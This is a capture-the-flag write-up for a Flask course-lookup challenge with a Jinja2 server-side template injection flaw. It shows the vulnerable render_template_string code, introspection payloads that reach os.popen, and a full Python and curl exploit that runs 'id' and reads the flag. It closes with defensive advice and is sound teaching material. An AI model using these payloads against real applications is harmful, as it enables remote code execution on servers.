Web
Medium
200 points
Course List
Recuite 2025 - HCMUS
6 tháng 10, 2025
SSTI
Server-Side Template Injection
Jinja2
Flask

Web
Course List - Write-up
Challenge Information
- Category: Web
- Difficulty: Medium
- Vulnerability: Server-Side Template Injection (SSTI)
Overview
This challenge is a university course lookup system. The application uses Flask's render_template_string() with user-controlled input, creating a Server-Side Template Injection (SSTI) vulnerability in the Jinja2 template engine.
Vulnerability: SSTI (Server-Side Template Injection)
Source Code Analysis
def get_source_code(course_code, course_name):
return '''
<!DOCTYPE html>
...
<tr>
<td>''' + course_code + '''</td>
<td>''' + course_name + '''</td>
</tr>
...
'''
@app.route('/', methods=['GET'])
def show_course():
course_code = request.args.get('courseCode')
if not course_code:
course_code = "CSC10007"
try:
course_name = courses_dictionary[str(course_code)]
except:
course_name = "That course does not exists."
site = get_source_code(course_code, course_name)
return render_template_string(site) # ⚠️ Vulnerable!
The Problem:
course_codeparameter from GET request is injected directly into HTML string- HTML string is then passed to
render_template_string() - Jinja2 template engine will evaluate any template expressions within the string
Basic SSTI
Vulnerability Detection
Test with common payloads:
# Mathematical expressions
{{7*7}} # Output: 49
{{7*'7'}} # Output: 7777777
# Python expressions
{{config}} # Flask config object
{{self}} # Template context
URL Encoding
/?courseCode={{7*7}}
/?courseCode=%7B%7B7*7%7D%7D
Exploitation
Step 1: Confirm SSTI
GET /?courseCode={{7*7}} HTTP/1.1
Host: target.com
Response: Displays "49" in course code field
Step 2: Access Python Built-ins
Jinja2 sandboxing can be bypassed via object introspection:
# Get subclasses of object class
{{''.__class__.__mro__[1].__subclasses__()}}
# Find useful classes (e.g., subprocess.Popen, os._wrap_close)
{{''.__class__.__mro__[1].__subclasses__()[X]}}
Step 3: Remote Code Execution
Payload to read flag:
# Use os.popen
{{''.__class__.__mro__[1].__subclasses__()[X]('cat flag.txt',shell=True,stdout=-1).communicate()}}
# Use eval
{{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}
# Use open()
{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['open']('flag.txt').read()}}
Step 4: Find Correct Subclass Index
# List all subclasses to find useful ones
{% for i in range(500) %}
{{i}}: {{''.__class__.__mro__[1].__subclasses__()[i]}}
{% endfor %}
Look for classes:
subprocess.Popen(index may vary)os._wrap_closewarnings.catch_warnings
Complete Exploit
Python Script
import requests
import urllib.parse
url = "http://target.com/"
# Payload for RCE
payload = """{{''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('cat flag.txt').read()}}"""
# URL encode
encoded_payload = urllib.parse.quote(payload)
# Send request
response = requests.get(f"{url}?courseCode={encoded_payload}")
# Extract flag from response
print(response.text)
Manual Exploitation
# Step 1: Find index of subprocess.Popen
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()}}"
# Step 2: Test RCE with 'id' command
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('id',shell=True,stdout=-1).communicate()}}"
# Step 3: Read flag
curl "http://target.com/?courseCode={{''.__class__.__mro__[1].__subclasses__()[420]('cat+flag.txt',shell=True,stdout=-1).communicate()}}"
Key Takeaways
- Never use render_template_string with user input
- Always use separate template files with
render_template() - Jinja2 autoescape only works with template files, not template strings
- Sanitize and validate all user inputs
- Defense in depth - multiple layers of security
200
Points
Medium
Difficulty
Web
Category